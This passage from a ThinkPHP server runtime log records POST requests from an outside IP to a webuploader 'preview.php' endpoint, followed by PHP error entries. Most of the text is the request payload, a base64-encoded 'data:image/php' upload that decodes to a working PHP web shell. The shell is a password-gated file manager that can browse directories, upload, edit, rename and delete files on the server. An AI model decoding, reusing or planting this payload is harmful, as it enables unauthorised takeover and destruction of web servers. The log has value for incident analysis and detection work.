ycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'plugins', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:34+08:00 ] 119.42.146.234 POST 59.110.137.245/public/platform/js/webuploader/0.1.5/server/preview.php [运行时间:0.003051s] [吞吐率:327.76req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'platform', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH